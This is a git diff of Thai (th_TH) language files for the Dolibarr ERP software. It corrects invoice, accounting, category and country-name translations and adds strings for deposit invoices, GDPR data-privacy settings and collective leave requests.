ฉันกู้คืนภาษีมูลค่าเพิ่มส่วนลดนี้โดยไม่มีใบลดหนี้ +ConfirmClassifyPaidPartiallyReasonDiscountNoVat=ยังไม่ได้ชำระ (%s %s) เป็นส่วนลดที่ได้รับเนื่องจากชำระเงินก่อนกำหนด ฉันยอมรับที่จะเสียภาษีมูลค่าเพิ่มจากส่วนลดนี้ +ConfirmClassifyPaidPartiallyReasonDiscountVat=ส่วนที่เหลือค้างชำระ (%s %s) เป็นส่วนลดที่ได้รับเนื่องจากชำระเงินก่อนกำหนด ฉันขอคืนภาษีมูลค่าเพิ่มจากส่วนลดนี้โดยไม่ต้องใช้ใบลดหนี้ ConfirmClassifyPaidPartiallyReasonBadCustomer=ลูกค้าที่ไม่ดี ConfirmClassifyPaidPartiallyReasonBankCharge=Deduction by bank (intermediary bank fees) ConfirmClassifyPaidPartiallyReasonProductReturned=ผลิตภัณฑ์กลับมาบางส่วน @@ -250,8 +255,8 @@ ExcessPaid=Excess paid ExcessPaidMulticurrency=Excess paid, original currency EscompteOffered=ส่วนลดที่นำเสนอ (ชำระเงินก่อนที่จะยาว) EscompteOfferedShort=ส่วนลด -SendBillRef=ส่งใบแจ้งหนี้% s -SendReminderBillRef=การส่งใบแจ้งหนี้ s% (เตือน) +SendBillRef=การส่งใบแจ้งหนี้ %s +SendReminderBillRef=การส่งใบแจ้งหนี้ %s (เตือนความจำ) SendPaymentReceipt=Submission of payment receipt %s NoDraftBills=ไม่มีใบแจ้งหนี้ร่าง NoOtherDraftBills=ไม่มีใบแจ้งหนี้ร่างอื่น ๆ @@ -282,6 +287,8 @@ RecurringInvoices=Recurring invoices RecurringInvoice=Recurring invoice RepeatableInvoice=แม่แบบใบแจ้งหนี้ RepeatableInvoices=แม่แบบใบแจ้งหนี้ +RecurringInvoicesJob=Generation of recurring invoices (sales invoices) +RecurringSupplierInvoicesJob=Generation of recurring invoices (purchase invoices) Repeatable=แบบ Repeatables=แม่แบบ ChangeIntoRepeatableInvoice=แปลงเป็นแม่แบบใบแจ้งหนี้ @@ -298,22 +305,22 @@ Reductions=ลด ReductionsShort=Disc. Discounts=ส่วนลด AddDiscount=สร้างส่วนลด -AddRelativeDiscount=สร้างส่วนลดญาติ -EditRelativeDiscount=แก้ไขส่วนลดญาติ +AddRelativeDiscount=สร้างส่วนลดที่เกี่ยวข้อง +EditRelativeDiscount=แก้ไขส่วนลดที่เกี่ยวข้อง AddGlobalDiscount=สร้างส่วนลดแน่นอน EditGlobalDiscounts=แก้ไขส่วนลดแน่นอน AddCreditNote=สร้างบันทึกเครดิต ShowDiscount=แสดงส่วนลด ShowReduc=Show the discount ShowSourceInvoice=Show the source invoice -RelativeDiscount=ส่วนลดญาติ +RelativeDiscount=ส่วนลดที่เกี่ยวข้อง GlobalDiscount=ลดราคาทั่วโลก CreditNote=ใบลดหนี้ CreditNotes=บันทึกเครดิต CreditNotesOrExcessReceived=Credit notes or excess received Deposit=Down payment Deposits=Down payments -DiscountFromCreditNote=ส่วนลดจากใบลดหนี้% s +DiscountFromCreditNote=ส่วนลดจากใบลดหนี้ %s DiscountFromDeposit=Down payments from invoice %s DiscountFromExcessReceived=Payments in excess of invoice %s DiscountFromExcessPaid=Payments in excess of invoice %s @@ -354,7 +361,7 @@ ConfirmCloneInvoice=Are you sure you want to clone this invoice %s? DisabledBecauseReplacedInvoice=การดำเนินการปิดใช้งานเนื่องจากใบแจ้งหนี้ที่ได้รับการแทนที่ DescTaxAndDividendsArea=This area presents a summary of all payments made for special expenses. Only records with payments during the fixed year are included here. NbOfPayments=No. of payments -SplitDiscount=ส่วนลดในสองแยก +SplitDiscount=แบ่งส่วนลดออกเป็นสองส่วน ConfirmSplitDiscount=Are you sure you want to split this discount of %s %s into two smaller discounts? TypeAmountOfEachNewDiscount=Input amount for each of two parts: TotalOfTwoDiscountMustEqualsOriginal=The total of the two new discounts must be equal to the original discount amount. @@ -426,14 +433,24 @@ PaymentConditionShort14D=14 days PaymentCondition14D=14 days PaymentConditionShort14DENDMONTH=14 days of month-end PaymentCondition14DENDMONTH=Within 14 days following the end of the month +PaymentConditionShortDEP30PCTDEL=__DEPOSIT_PERCENT__%% deposit +PaymentConditionDEP30PCTDEL=__DEPOSIT_PERCENT__%% deposit, remainder on delivery FixAmount=Fixed amount - 1 line with label '%s' VarAmount=ปริมาณ (ทีโอที %%.) VarAmountOneLine=Variable amount (%% tot.) - 1 line with label '%s' VarAmountAllLines=Variable amount (%% tot.) - all lines from origin +DepositPercent=Deposit %% +DepositGenerationPermittedByThePaymentTermsSelected=This is permitted by the payment terms selected +GenerateDeposit=Generate a %s%% deposit invoice +ValidateGeneratedDeposit=Validate the generated deposit +DepositGenerated=Deposit generated +ErrorCanOnlyAutomaticallyGenerateADepositFromProposalOrOrder=You can only automatically generate a deposit from a proposal or an order +ErrorPaymentConditionsNotEligibleToDepositCreation=The chose payment conditions are not eligible for automatic deposit generation # PaymentType PaymentTypeVIR=โอนเงินผ่านธนาคาร PaymentTypeShortVIR=โอนเงินผ่านธนาคาร PaymentTypePRE=Direct debit payment order +PaymentTypePREdetails=(on account *-%s) PaymentTypeShortPRE=Debit payment order PaymentTypeLIQ=เงินสด PaymentTypeShortLIQ=เงินสด @@ -451,7 +468,7 @@ PaymentTypeFAC=Factor PaymentTypeShortFAC=Factor PaymentTypeDC=Debit/Credit Card PaymentTypePP=PayPal -BankDetails=ธนาคารรายละเอียด +BankDetails=รายละเอียดธนาคาร BankCode=รหัสธนาคาร DeskCode=Branch code BankAccountNumber=เลขที่บัญชี @@ -463,7 +480,7 @@ CustomerIBAN=IBAN of customer SupplierIBAN=IBAN of vendor BIC=BIC / SWIFT BICNumber=BIC/SWIFT code -ExtraInfos=ข่าวสารพิเศษ +ExtraInfos=ข้อมูลเพิ่มเติม RegulatedOn=ในการควบคุม ChequeNumber=ตรวจสอบไม่มี° ChequeOrTransferNumber=ตรวจสอบ / โอนไม่มี° @@ -482,11 +499,12 @@ PaymentByChequeOrderedToShort=Check payments (incl. tax) are payable to SendTo=ส่งไปยัง PaymentByTransferOnThisBankAccount=Payment by transfer to the following bank account VATIsNotUsedForInvoice=* ไม่รวมภาษีมูลค่าเพิ่มบังคับศิลปะ 293B ซีจี +VATIsNotUsedForInvoiceAsso=* Non applicable VAT art-261-7 of CGI LawApplicationPart1=โดยการใช้กฎหมายของ 80.335 12/05/80 LawApplicationPart2=สินค้าที่ยังคงเป็นทรัพย์สินของ LawApplicationPart3=the seller until full payment of LawApplicationPart4=ราคาของพวกเขา -LimitedLiabilityCompanyCapital=SARL กับเมืองหลวงของ +LimitedLiabilityCompanyCapital=SARL ด้วยทุนของ UseLine=ใช้ UseDiscount=ใช้ส่วนลด UseCredit=ใช้บัตรเครดิต @@ -505,7 +523,7 @@ CreditNoteConvertedIntoDiscount=This %s has been converted into %s UsBillingContactAsIncoiveRecipientIfExist=Use contact/address with type 'billing contact' instead of third-party address as recipient for invoices ShowUnpaidAll=แสดงใบแจ้งหนี้ที่ค้างชำระทั้งหมด ShowUnpaidLateOnly=แสดงใบแจ้งหนี้ที่ค้างชำระปลายเท่านั้น -PaymentInvoiceRef=ใบแจ้งหนี้การชำระเงิน% s +PaymentInvoiceRef=ชำระเงินใบแจ้งหนี้ %s ValidateInvoice=ตรวจสอบใบแจ้งหนี้ ValidateInvoices=Validate invoices Cash=เงินสด @@ -526,7 +544,7 @@ AllCompletelyPayedInvoiceWillBeClosed=All invoices with no remainder to pay will ToMakePayment=จ่ายเงิน ToMakePaymentBack=คืนทุน ListOfYourUnpaidInvoices=รายการของใบแจ้งหนี้ที่ค้างชำระ -NoteListOfYourUnpaidInvoices=หมายเหตุ: รายการนี​​้จะมีใบแจ้งหนี้เฉพาะบุคคลที่สามคุณจะเชื่อมโยงกับการเป็นตัวแทนขาย +NoteListOfYourUnpaidInvoices=หมายเหตุ: รายการนี้มีเฉพาะใบแจ้งหนี้สำหรับบุคคลที่สามที่คุณเชื่อมโยงด้วยในฐานะตัวแทนฝ่ายขาย RevenueStamp=Tax stamp YouMustCreateInvoiceFromThird=This option is only available when creating an invoice from tab "Customer" of third party YouMustCreateInvoiceFromSupplierThird=This option is only available when creating an invoice from tab "Vendor" of third party @@ -536,7 +554,7 @@ PDFSpongeDescription=Invoice PDF template Sponge. A complete invoice template PDFCrevetteDescription=Invoice PDF template Crevette. A complete invoice template for situation invoices TerreNumRefModelDesc1=Return number in the format %syymm-nnnn for standard invoices and %syymm-nnnn for credit notes where yy is year, mm is month and nnnn is a sequencial auto-incrementing number with no break and no return to 0 MarsNumRefModelDesc1=Return number in the format %syymm-nnnn for standard invoices, %syymm-nnnn for replacement invoices, %syymm-nnnn for down payment invoices and %syymm-nnnn for credit notes where yy is year, mm is month and nnnn is a sequencial auto-incrementing number with no break and no return to 0 -TerreNumRefModelError=เริ่มต้นด้วยการเรียกเก็บเงิน $ syymm มีอยู่แล้วและไม่ได้เข้ากันได้กับรูปแบบของลำดับนี้ ลบหรือเปลี่ยนชื่อเพื่อเปิดใช้งานโมดูลนี้ +TerreNumRefModelError=มีบิลที่ขึ้นต้นด้วย $syymm อยู่แล้ว และไม่รองรับกับโมเดลลำดับนี้ ลบออกหรือเปลี่ยนชื่อเพื่อเปิดใช้งานโมดูลนี้ CactusNumRefModelDesc1=Return number in the format %syymm-nnnn for standard invoices, %syymm-nnnn for credit notes and %syymm-nnnn for down payment invoices where yy is year, mm is month and nnnn is a sequencial auto-incrementing number with no break and no return to 0 EarlyClosingReason=Early closing reason EarlyClosingComment=Early closing note @@ -570,7 +588,7 @@ situationInvoiceShortcode_AS=AS situationInvoiceShortcode_S=S CantBeLessThanMinPercent=ความคืบหน้าไม่สามารถที่จะมีขนาดเล็กกว่าค่าของมันอยู่ในสถานการณ์ที่ผ่านมา NoSituations=ไม่มีสถานการณ์ที่เปิด -InvoiceSituationLast=รอบชิงชนะเลิศและใบแจ้งหนี้ทั่วไป +InvoiceSituationLast=ใบแจ้งหนี้สุดท้ายและทั่วไป PDFCrevetteSituationNumber=Situation N°%s PDFCrevetteSituationInvoiceLineDecompte=Situation invoice - COUNT PDFCrevetteSituationInvoiceTitle=ใบแจ้งหนี้สถานการณ์ @@ -599,7 +617,6 @@ BILL_SUPPLIER_DELETEInDolibarr=Supplier invoice deleted UnitPriceXQtyLessDiscount=Unit price x Qty - Discount CustomersInvoicesArea=Customer billing area SupplierInvoicesArea=Supplier billing area -FacParentLine=Invoice Line Parent SituationTotalRayToRest=Remainder to pay without taxe PDFSituationTitle=Situation n° %d SituationTotalProgress=Total progress %d %% @@ -607,3 +624,10 @@ SearchUnpaidInvoicesWithDueDate=Search unpaid invoices with a due date = %s NoPaymentAvailable=No payment available for %s PaymentRegisteredAndInvoiceSetToPaid=Payment registered and invoice %s set to paid SendEmailsRemindersOnInvoiceDueDate=Send reminder by email for unpaid invoices +MakePaymentAndClassifyPayed=Record payment +BulkPaymentNotPossibleForInvoice=Bulk payment is not possible for invoice %s (bad type or status) +MentionVATDebitOptionIsOn=Option to pay tax based on debits +MentionCategoryOfOperations=Category of operations +MentionCategoryOfOperations0=Delivery of goods +MentionCategoryOfOperations1=Provision of services +MentionCategoryOfOperations2=Mixed - Delivery of goods & provision of services diff --git a/htdocs/langs/th_TH/categories.lang b/htdocs/langs/th_TH/categories.lang index f211046c8ba..cba56ad6d0f 100644 --- a/htdocs/langs/th_TH/categories.lang +++ b/htdocs/langs/th_TH/categories.lang @@ -29,19 +29,20 @@ NoSubCat=ไม่มีหมวดหมู่ SubCatOf=ประเภทย่อย FoundCats=พบแท็ก / ประเภท ImpossibleAddCat=Impossible to add the tag/category %s -WasAddedSuccessfully=% s ถูกเพิ่มเรียบร้อยแล้ว +WasAddedSuccessfully=%s ถูกเพิ่มเรียบร้อยแล้ว ObjectAlreadyLinkedToCategory=องค์ประกอบที่มีการเชื่อมโยงกับแท็กนี้ / หมวดหมู่ ProductIsInCategories=สินค้า / บริการที่มีการเชื่อมโยงต่อไปนี้แท็ก / ประเภท CompanyIsInCustomersCategories=บุคคลที่สามนี้มีการเชื่อมโยงต่อกับ ลูกค้า / ลูกค้าเป้าหมาย แท็ก / ประเภท นี้ CompanyIsInSuppliersCategories=This third party is linked to following vendors tags/categories MemberIsInCategories=สมาชิกนี้จะถูกเชื่อมโยงกับสมาชิกต่อไปนี้แท็ก / ประเภท ContactIsInCategories=ติดต่อนี้มีการเชื่อมโยงต่อไปนี้แท็กรายชื่อ / ประเภท -ProductHasNoCategory=สินค้า / บริการนี​​้ไม่ได้อยู่ในแท็กใด ๆ / ประเภท +ProductHasNoCategory=สินค้า/บริการนี้ไม่อยู่ในแท็ก/หมวดหมู่ใดๆ CompanyHasNoCategory=This third party is not in any tags/categories MemberHasNoCategory=สมาชิกท่านนี้ไม่ได้อยู่ในแท็กใด ๆ / ประเภท ContactHasNoCategory=ติดต่อนี้ไม่ได้อยู่ในแท็กใด ๆ / ประเภท ProjectHasNoCategory=This project is not in any tags/categories ClassifyInCategory=เพิ่มแท็ก / หมวดหมู่ +RemoveCategory=Remove category NotCategorized=โดยไม่ต้องแท็ก / หมวดหมู่ CategoryExistsAtSameLevel=ประเภทนี้มีอยู่แล้วที่มีการอ้างอิงนี้ ContentsVisibleByAllShort=เนื้อหาที่มองเห็นได้โดยทั้งหมด @@ -67,6 +68,7 @@ StockCategoriesShort=Warehouse tags/categories ThisCategoryHasNoItems=This category does not contain any items. CategId=Tag / รหัสหมวดหมู่ ParentCategory=Parent tag/category +ParentCategoryID=ID of parent tag/category ParentCategoryLabel=Label of parent tag/category CatSupList=List of vendors tags/categories CatCusList=List of customers/prospects tags/categories @@ -86,15 +88,18 @@ DeleteFromCat=ลบออกจากแท็ก / หมวดหมู่ ExtraFieldsCategories=คุณลักษณะที่สมบูรณ์ CategoriesSetup=แท็ก / ประเภทการติดตั้ง CategorieRecursiv=การเชื่อมโยงที่มีแท็กแม่ / หมวดหมู่โดยอัตโนมัติ -CategorieRecursivHelp=If option is on, when you add a product into a subcategory, product will also be added into the parent category. +CategorieRecursivHelp=If option is on, when you add an object into a subcategory, the object will also be added into the parent categories. AddProductServiceIntoCategory=เพิ่มสินค้า / บริการดังต่อไปนี้ AddCustomerIntoCategory=Assign category to customer AddSupplierIntoCategory=Assign category to supplier +AssignCategoryTo=Assign category to ShowCategory=แสดงแท็ก / หมวดหมู่ ByDefaultInList=โดยค่าเริ่มต้นในรายการ ChooseCategory=Choose category StocksCategoriesArea=Warehouse Categories +TicketsCategoriesArea=Tickets Categories ActionCommCategoriesArea=Event Categories WebsitePagesCategoriesArea=Page-Container Categories KnowledgemanagementsCategoriesArea=KM article Categories UseOrOperatorForCategories=Use 'OR' operator for categories +AddObjectIntoCategory=Add object into category diff --git a/htdocs/langs/th_TH/compta.lang b/htdocs/langs/th_TH/compta.lang index d40ca6a332b..05118f25459 100644 --- a/htdocs/langs/th_TH/compta.lang +++ b/htdocs/langs/th_TH/compta.lang @@ -29,6 +29,8 @@ BalanceBefore=Balance (before) Balance=สมดุล Debit=หักบัญชี Credit=เครดิต +AccountingDebit=หักบัญชี +AccountingCredit=เครดิต Piece=บัญชีหมอ AmountHTVATRealReceived=สุทธิเก็บรวบรวม AmountHTVATRealPaid=จ่ายสุทธิ @@ -146,9 +148,11 @@ ConfirmPaySalary=Are you sure you want to classify this salary card as paid? DeleteSocialContribution=ลบชำระภาษีทางสังคมหรือทางการคลัง DeleteVAT=Delete a VAT declaration DeleteSalary=Delete a salary card +DeleteVariousPayment=Delete a various payment ConfirmDeleteSocialContribution=Are you sure you want to delete this social/fiscal tax payment ? ConfirmDeleteVAT=Are you sure you want to delete this VAT declaration ? -ConfirmDeleteSalary=Are you sure you want to delete this salary? +ConfirmDeleteSalary=Are you sure you want to delete this salary ? +ConfirmDeleteVariousPayment=Are you sure you want to delete this various payment ? ExportDataset_tax_1=ภาษีสังคมและการคลังและการชำระเงิน CalcModeVATDebt=โหมด% sVAT ความมุ่งมั่นบัญชี% s CalcModeVATEngagement=โหมด sVAT% รายได้ค่าใช้จ่าย-% s @@ -242,12 +246,12 @@ TurnoverPerProductInCommitmentAccountingNotRelevant=The report of Turnover colle TurnoverPerSaleTaxRateInCommitmentAccountingNotRelevant=The report of Turnover collected per sale tax rate is not available. This report is only available for turnover invoiced. CalculationMode=โหมดการคำนวณ AccountancyJournal=Accounting code journal -ACCOUNTING_VAT_SOLD_ACCOUNT=Accounting account by default for VAT on sales (used if not defined on VAT dictionary setup) -ACCOUNTING_VAT_BUY_ACCOUNT=Accounting account by default for VAT on purchases (used if not defined on VAT dictionary setup) -ACCOUNTING_VAT_PAY_ACCOUNT=Accounting account by default for paying VAT -ACCOUNTING_ACCOUNT_CUSTOMER=Accounting account used for customer third parties +ACCOUNTING_VAT_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for VAT on sales (used if not defined on VAT dictionary setup) +ACCOUNTING_VAT_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for VAT on purchases (used if not defined on VAT dictionary setup) +ACCOUNTING_VAT_PAY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for paying VAT +ACCOUNTING_ACCOUNT_CUSTOMER=Account (from the Chart Of Account) used for "customer" third parties ACCOUNTING_ACCOUNT_CUSTOMER_Desc=The dedicated accounting account defined on third party card will be used for Subledger accounting only. This one will be used for General Ledger and as default value of Subledger accounting if dedicated customer accounting account on third party is not defined. -ACCOUNTING_ACCOUNT_SUPPLIER=Accounting account used for vendor third parties +ACCOUNTING_ACCOUNT_SUPPLIER=Account (from the Chart of Account) used for the "vendor" third parties ACCOUNTING_ACCOUNT_SUPPLIER_Desc=The dedicated accounting account defined on third party card will be used for Subledger accounting only. This one will be used for General Ledger and as default value of Subledger accounting if dedicated vendor accounting account on third party is not defined. ConfirmCloneTax=Confirm the clone of a social/fiscal tax ConfirmCloneVAT=Confirm the clone of a VAT declaration @@ -287,9 +291,9 @@ ReportPurchaseTurnover=Purchase turnover invoiced ReportPurchaseTurnoverCollected=Purchase turnover collected IncludeVarpaysInResults = Include various payments in reports IncludeLoansInResults = Include loans in reports -InvoiceLate30Days = Invoices late (> 30 days) -InvoiceLate15Days = Invoices late (15 to 30 days) -InvoiceLateMinus15Days = Invoices late (< 15 days) +InvoiceLate30Days = Late (> 30 days) +InvoiceLate15Days = Late (15 to 30 days) +InvoiceLateMinus15Days = Late (< 15 days) InvoiceNotLate = To be collected (< 15 days) InvoiceNotLate15Days = To be collected (15 to 30 days) InvoiceNotLate30Days = To be collected (> 30 days) @@ -298,3 +302,4 @@ InvoiceToPay15Days=To pay (15 to 30 days) InvoiceToPay30Days=To pay (> 30 days) ConfirmPreselectAccount=Preselect accountancy code ConfirmPreselectAccountQuestion=Are you sure you want to preselect the %s selected lines with this accountancy code ? +AmountPaidMustMatchAmountOfDownPayment=Amount paid must match amount of down payment diff --git a/htdocs/langs/th_TH/contracts.lang b/htdocs/langs/th_TH/contracts.lang index 749291c8bf4..eeb2bc7ab6e 100644 --- a/htdocs/langs/th_TH/contracts.lang +++ b/htdocs/langs/th_TH/contracts.lang @@ -20,6 +20,7 @@ ContractsSubscriptions=สัญญา / สมัครสมาชิก ContractsAndLine=สัญญาและสายของสัญญา Contract=สัญญา ContractLine=Contract line +ContractLines=Contract lines Closing=Closing NoContracts=ไม่มีสัญญา MenuServices=บริการ @@ -79,7 +80,7 @@ ConfirmDeleteContractLine=Are you sure you want to delete this contract line? MoveToAnotherContract=ย้ายบริการทำสัญญาอีก ConfirmMoveToAnotherContract=ฉันเลือกสัญญาเป้าหมายใหม่และยืนยันที่ฉันต้องการที่จะย้ายบริการนี​​้ในสัญญานี้ ConfirmMoveToAnotherContractQuestion=Choose in which existing contract (of same third party), you want to move this service to? -PaymentRenewContractId=ต่ออายุสัญญาสาย (หมายเลข% s) +PaymentRenewContractId=Renew contract %s (service %s) ExpiredSince=วันหมดอายุ NoExpiredServices=ไม่มีบริการที่ใช้งานหมดอายุ ListOfServicesToExpireWithDuration=รายชื่อของบริการที่จะหมดอายุในวันที่% s @@ -102,3 +103,5 @@ TypeContact_contrat_external_SALESREPSIGN=ลงนามในสัญญา HideClosedServiceByDefault=Hide closed services by default ShowClosedServices=Show Closed Services HideClosedServices=Hide Closed Services +UserStartingService=User starting service +UserClosingService=User closing service diff --git a/htdocs/langs/th_TH/datapolicy.lang b/htdocs/langs/th_TH/datapolicy.lang new file mode 100644 index 00000000000..e1b7a527603 --- /dev/null +++ b/htdocs/langs/th_TH/datapolicy.lang @@ -0,0 +1,92 @@ +# Copyright (C) 2018 Nicolas ZABOURI +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +# Module label 'ModuledatapolicyName' +Module4100Name = Data Privacy Policy +# Module description 'ModuledatapolicyDesc' +Module4100Desc = Module to manage Data Privacy (Conformity with the GDPR) + +# +# Administration page +# +datapolicySetup = Module Data Privacy Policy Setup +Deletion = Deletion of data +datapolicySetupPage = Depending of laws of your countries (Example Article 5 of the GDPR), personal data must be kept for a period not exceeding that necessary for the purposes for which they were collected, except for archival purposes.
      The deletion will be done automatically after a certain duration without event (the duration which you will have indicated below). +NB_MONTHS = %s months +ONE_YEAR = 1 year +NB_YEARS = %s years +DATAPOLICY_TIERS_CLIENT = ลูกค้า +DATAPOLICY_TIERS_PROSPECT = โอกาส +DATAPOLICY_TIERS_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_TIERS_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_TIERS_FOURNISSEUR = ผู้ผลิต +DATAPOLICY_CONTACT_CLIENT = ลูกค้า +DATAPOLICY_CONTACT_PROSPECT = โอกาส +DATAPOLICY_CONTACT_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_CONTACT_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_CONTACT_FOURNISSEUR = ผู้ผลิต +DATAPOLICY_ADHERENT = สมาชิก +DATAPOLICY_Tooltip_SETUP = Type of contact - Indicate your choices for each type. +DATAPOLICYMail = Emails Setup +DATAPOLICYSUBJECTMAIL = Subject of email +DATAPOLICYCONTENTMAIL = Content of the email +DATAPOLICYSUBSITUTION = You can use the following variables in your email (LINKACCEPT allows to create a link recording the agreement of the person, LINKREFUSED makes it possible to record the refusal of the person): +DATAPOLICYACCEPT = Message after agreement +DATAPOLICYREFUSE = Message after desagreement +SendAgreementText = You can send a GDPR email to all your relevant contacts (who have not yet received an email and for which you have not registered anything about their GDPR agreement). To do this, use the following button. +SendAgreement = Send emails +AllAgreementSend = All emails have been sent +TXTLINKDATAPOLICYACCEPT = Text for the link "agreement" +TXTLINKDATAPOLICYREFUSE = Text for the link "desagreement" + + +# +# Extrafields +# +DATAPOLICY_BLOCKCHECKBOX = GDPR : Processing of personal data +DATAPOLICY_consentement = Consent obtained for the processing of personal data +DATAPOLICY_opposition_traitement = Opposes the processing of his personal data +DATAPOLICY_opposition_prospection = Opposes the processing of his personal data for the purposes of prospecting + +# +# Popup +# +DATAPOLICY_POPUP_ANONYME_TITLE = Anonymize a thirdparty +DATAPOLICY_POPUP_ANONYME_TEXTE = You can not delete this contact from Dolibarr because there are related items. In accordance with the GDPR, you will make all this data anonymous to respect your obligations. Would you like to continue ? + +# +# Button for portability +# +DATAPOLICY_PORTABILITE = Portability GDPR +DATAPOLICY_PORTABILITE_TITLE = Export of personal data +DATAPOLICY_PORTABILITE_CONFIRMATION = You want to export the personal data of this contact. Are you sure ? + +# +# Notes added during an anonymization +# +ANONYMISER_AT = Anonymised the %s + +# V2 +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_date = Date of agreement/desagreement GDPR +DATAPOLICY_send = Date sending agreement email +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_SEND = Send GDPR email +MailSent = Email has been sent + +# ERROR +ErrorSubjectIsRequired = Error : The subject of email is required. Indicate it in the module setup +=Due to a technical problem, we were unable to register your choice. We apologize for that. Contact us to send us your choice. +NUMBER_MONTH_BEFORE_DELETION = Number of month before deletion diff --git a/htdocs/langs/th_TH/dict.lang b/htdocs/langs/th_TH/dict.lang index d87ca70b407..fad471baac0 100644 --- a/htdocs/langs/th_TH/dict.lang +++ b/htdocs/langs/th_TH/dict.lang @@ -21,7 +21,7 @@ CountryNL=เนเธอร์แลนด์ CountryHU=ฮังการี CountryRU=รัสเซีย CountrySE=สวีเดน -CountryCI=Ivoiry ชายฝั่ง +CountryCI=Ivory Coast CountrySN=ประเทศเซเนกัล CountryAR=อาร์เจนตินา CountryCM=แคเมอรูน @@ -250,7 +250,9 @@ CountryMF=เซนต์มาร์ติน ##### Civilities ##### CivilityMME=นาง +CivilityMMEShort=นาง CivilityMR=นาย +CivilityMRShort=นาย CivilityMLE=นางสาว CivilityMTRE=เจ้านาย CivilityDR=คุณหมอ diff --git a/htdocs/langs/th_TH/ecm.lang b/htdocs/langs/th_TH/ecm.lang index 01778da9d3e..7d4a246fd1e 100644 --- a/htdocs/langs/th_TH/ecm.lang +++ b/htdocs/langs/th_TH/ecm.lang @@ -5,6 +5,7 @@ ECMSectionManual=สมุดคู่มือ ECMSectionAuto=ไดเรกทอรีอัตโนมัติ ECMSectionsManual=ต้นไม้คู่มือการใช้งาน ECMSectionsAuto=ต้นไม้อัตโนมัติ +ECMSectionsMedias=Medias tree ECMSections=ไดเรกทอรี ECMRoot=ECM Root ECMNewSection=ไดเรกทอรีใหม่ @@ -16,7 +17,9 @@ ECMNbOfFilesInSubDir=จำนวนของไฟล์ในไดเรก ECMCreationUser=ผู้สร้าง ECMArea=DMS/ECM area ECMAreaDesc=The DMS/ECM (Document Management System / Electronic Content Management) area allows you to save, share and search quickly all kind of documents in Dolibarr. -ECMAreaDesc2=* ไดเรกทอรีอัตโนมัติจะเต็มไปโดยอัตโนมัติเมื่อมีการเพิ่มเอกสารจากบัตรขององค์ประกอบ
      * ไดเรกทอรีคู่มือการใช้งานสามารถใช้ในการบันทึกเอกสารไม่เชื่อมโยงกับองค์ประกอบโดยเฉพาะอย่างยิ่ง +ECMAreaDesc2a=* Manual directories can be used to save documents not linked to a particular element. +ECMAreaDesc2b=* Automatic directories are filled automatically when adding documents from the page of an element. +ECMAreaDesc3=* Medias directories are files into the subdirectory /medias of documents directory, readable by everybody with no need to be logged and no need to have the file shared explicitely. It is used to store image files from emailing or website module. ECMSectionWasRemoved=สารบบ% s ได้ถูกลบออก ECMSectionWasCreated=Directory %s has been created. ECMSearchByKeywords=ค้นหาตามคำหลัก diff --git a/htdocs/langs/th_TH/holiday.lang b/htdocs/langs/th_TH/holiday.lang index 17f16cda631..b07d0d8a258 100644 --- a/htdocs/langs/th_TH/holiday.lang +++ b/htdocs/langs/th_TH/holiday.lang @@ -1,9 +1,11 @@ # Dolibarr language file - Source file is en_US - holiday HRM=ระบบบริหารจัดการทรัพยากรบุคคล -Holidays=Leave +Holidays=Leaves +Holiday=Leave CPTitreMenu=Leave MenuReportMonth=คำสั่งรายเดือน MenuAddCP=คำขอลาใหม่ +MenuCollectiveAddCP=New collective leave request NotActiveModCP=You must enable the module Leave to view this page. AddCP=ขอลา DateDebCP=วันที่เริ่มต้น @@ -56,6 +58,7 @@ ConfirmDeleteCP=ยืนยันการลบคำขอออกจาก ErrorCantDeleteCP=ข้อผิดพลาดของคุณไม่ได้มีสิทธิ์ในการลบคำขอลานี้ CantCreateCP=คุณไม่ได้มีสิทธิที่จะขอลา InvalidValidatorCP=You must choose the approver for your leave request. +InvalidValidator=The user chosen isn't an approver. NoDateDebut=คุณต้องเลือกวันที่เริ่มต้น NoDateFin=คุณต้องเลือกวันที่สิ้นสุด ErrorDureeCP=คำขอลาของคุณไม่ได้มีวันทำงาน @@ -79,6 +82,8 @@ MotifCP=เหตุผล UserCP=ผู้ใช้งาน ErrorAddEventToUserCP=เกิดข้อผิดพลาดในขณะที่เพิ่มการลาพิเศษ AddEventToUserOkCP=นอกเหนือจากการลาพิเศษเสร็จเรียบร้อยแล้ว +ErrorFieldRequiredUserOrGroup=The "group" field or the "user" field must be filled in +fusionGroupsUsers=The groups field and the user field will be merged MenuLogCP=ดูบันทึกการเปลี่ยนแปลง LogCP=Log of all updates made to "Balance of Leave" ActionByCP=Updated by @@ -86,6 +91,13 @@ UserUpdateCP=Updated for PrevSoldeCP=คงเหลือก่อนหน้า NewSoldeCP=นิวบาลานซ์ alreadyCPexist=คำขอลาได้ทำไปแล้วในเวลานี้ +UseralreadyCPexist=A leave request has already been done on this period for %s. +groups=กลุ่ม +users=ผู้ใช้ +AutoSendMail=Automatic mailing +NewHolidayForGroup=New collective leave request +SendRequestCollectiveCP=Send collective leave request +AutoValidationOnCreate=Automatic validation FirstDayOfHoliday=Beginning day of leave request LastDayOfHoliday=Ending day of leave request BoxTitleLastLeaveRequests=Latest %s modified leave requests @@ -137,3 +149,10 @@ XIsAUsualNonWorkingDay=%s is usualy a NON working day BlockHolidayIfNegative=Block if balance negative LeaveRequestCreationBlockedBecauseBalanceIsNegative=The creation of this leave request is blocked because your balance is negative ErrorLeaveRequestMustBeDraftCanceledOrRefusedToBeDeleted=Leave request %s must be draft, canceled or refused to be deleted +IncreaseHolidays=Increase holiday +HolidayRecordsIncreased= %s holiday records increased +HolidayRecordIncreased=Holiday record increased +ConfirmMassIncreaseHoliday=Bulk holiday increase +NumberDayAddMass=Number of day to add to the selection 